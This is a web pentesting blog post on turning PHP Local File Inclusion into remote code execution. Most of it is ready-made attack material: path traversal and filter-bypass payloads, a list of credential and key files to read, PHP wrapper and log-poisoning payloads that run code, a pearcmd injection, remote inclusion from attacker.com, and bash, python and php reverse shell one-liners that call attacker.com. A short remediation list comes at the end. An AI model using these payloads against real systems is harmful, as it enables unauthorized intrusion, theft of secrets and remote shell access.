← Back to writing
Web Pentesting

LFI & Path Traversal to RCE

Aug 30, 2024
3 min read
lawbyte

Local File Inclusion looks like a read-only file disclosure bug at first. In practice, with the right chaining techniques, it almost always escalates to Remote Code Execution. This post covers every path from LFI to shell.

Basic Detection

Vulnerable code pattern:

include($_GET['page'] . '.php');
// or
include('pages/' . $_GET['lang']);

Test for path traversal:

?page=../../../../etc/passwd
?lang=../../../etc/passwd%00 # null byte (PHP < 5.3.4)
?page=....//....//etc/passwd # bypass ../ filter
?page=..././..././etc/passwd # bypass replacement filter
?page=%2e%2e%2f%2e%2e%2fetc%2fpasswd # URL encoded
?page=..%252f..%252fetc%252fpasswd # double URL encoded

Useful Files to Read

Linux

/etc/passwd              → user list
/etc/shadow → password hashes (requires root)
/etc/hosts → internal hostnames
/proc/self/environ → environment variables (can contain secrets)
/proc/self/cmdline → process command line
/proc/self/fd/0 → stdin
/proc/net/tcp → open TCP connections
/var/log/apache2/access.log → Apache access log
/var/log/nginx/access.log → Nginx access log
/var/log/auth.log → SSH login attempts
/var/mail/www-data → mail for web user
~/.bash_history → command history
~/.ssh/id_rsa → SSH private key
/etc/crontab → cron jobs
/etc/nginx/nginx.conf → Nginx config
/etc/apache2/apache2.conf

PHP-specific

/etc/php.ini
/var/log/php_error.log
/proc/self/fd/10 → PHP-FPM log

Windows

C:\Windows\win.ini
C:\Windows\System32\drivers\etc\hosts
C:\inetpub\logs\LogFiles\W3SVC1\ → IIS logs
C:\Windows\System32\winevt\Logs\ → Event logs
C:\Users\Administrator\.ssh\id_rsa
C:\xampp\apache\logs\access.log
C:\wamp\logs\access.log

PHP Wrappers — Reading Source Code

Even without path traversal, PHP wrappers can read files:

?page=php://filter/convert.base64-encode/resource=index.php
?page=php://filter/read=string.rot13/resource=config.php
?page=php://filter/convert.iconv.UTF-8.UTF-16/resource=config.php

Decode the base64 response:

echo "PD9waHAgLi..." | base64 -d

data:// wrapper (code execution)

?page=data://text/plain,<?php system($_GET['cmd'])?>
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk/Pg==

This works only when allow_url_include = On in php.ini.

expect:// wrapper

?page=expect://id
?page=expect://whoami

Requires the expect extension — rarely enabled but worth trying.

input:// wrapper

curl -X POST "https://target.com/?page=php://input" --data "<?php system('id'); ?>"

Log Poisoning

If you can read a log file via LFI and you can write to it, poison it with PHP code.

Apache / Nginx access log

# Write PHP into the User-Agent, which gets logged
curl -s "https://target.com/" -H "User-Agent: <?php system(\$_GET['cmd']); ?>"

# Then include the log
https://target.com/?page=../../../../var/log/apache2/access.log&cmd=id

SSH auth log (/var/log/auth.log)

# SSH with an invalid username that contains PHP code
ssh "<?php system(\$_GET['cmd']); ?>"@target.com
# Then LFI: ?page=../../../../var/log/auth.log&cmd=id

PHP session file poisoning

PHP saves session data to files. If you can write PHP into a session and then include the session file:

/var/lib/php/sessions/sess_<PHPSESSID>
/tmp/sess_<PHPSESSID>
  1. Set a cookie value to PHP code: Cookie: PHPSESSID=abc123; user=<?php system($_GET['cmd']); ?>
  2. Include the session file: ?page=../../../../var/lib/php/sessions/sess_abc123&cmd=id

Email log poisoning

# Send an email with PHP in the subject/body
swaks --to www-data@target.com --from attacker@attacker.com \
--header "Subject: <?php system(\$_GET['cmd']); ?>"
# Include: ?page=../../../../var/mail/www-data

/proc/self/environ Injection

Environment variables are often injectable via HTTP headers:

# HTTP_USER_AGENT is reflected in /proc/self/environ
curl "https://target.com/" -H "User-Agent: <?php system(\$_GET['c']); ?>"
# Then:
?page=../../../../proc/self/environ&c=id

/proc/self/fd — File Descriptor Trick

The process keeps open file descriptors. fd/0-9 are often stdin/stdout, but error logs and request data can be in higher fds:

?page=../../../../proc/self/fd/0
?page=../../../../proc/self/fd/1
?page=../../../../proc/self/fd/2
... up to /proc/self/fd/20

Send the PHP payload in the request body and include the matching fd.


phpinfo() + LFI Race Condition

When a file is uploaded (even if immediately deleted), it exists briefly in /tmp. The technique:

  1. Send a multipart upload request — PHP creates /tmp/phpXXXXXX temporarily.
  2. Simultaneously, rapidly include /tmp/phpXXXXXX via LFI.
  3. If you win the race, the PHP file executes.

Automate with LFI-phpinfo-rce tool.


pearcmd.php — PHP Pear Command Injection

On PHP installations with Pear installed, there’s often a writable pearcmd.php:

?page=/usr/share/php/pearcmd&+config-create+/&/<?php system($_GET['cmd'])?>+/tmp/lfi.php
?page=/tmp/lfi&cmd=id

The + signs are treated as command line arguments.


RFI — Remote File Inclusion

When allow_url_include = On:

?page=http://attacker.com/shell.txt
?page=https://attacker.com/shell.php
?page=ftp://attacker.com/shell.txt

Host shell.txt on your server:

<?php system($_GET['c']); ?>

Automated Exploitation

# LFISuite
python lfi_suite.py

# Kadimus
./kadimus -u "https://target.com/?page=" -C /etc/passwd -A exploit

# liffy
python liffy.py -u "https://target.com/?p=" --rce

# fimap
python fimap.py -u "https://target.com/?page=x"

From Shell to Stable Access

Once you have RCE:

# Reverse shell one-liners
bash -i >& /dev/tcp/attacker.com/4444 0>&1
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("attacker.com",4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];subprocess.call(["/bin/sh"])'
php -r '$sock=fsockopen("attacker.com",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

# Upgrade to interactive shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
# Enter, then:
export TERM=xterm

Remediation

  • Never pass user input to include(), require(), or file functions.
  • Use a whitelist: if (!in_array($page, ['home','about','contact'])) die();
  • Set open_basedir in php.ini to restrict accessible paths.
  • Disable allow_url_include and allow_url_fopen when not needed.
  • Ensure web server logs are not readable by the web process user.

Discussion

Leave a comment · All fields required · No spam

No comments yet. Be the first.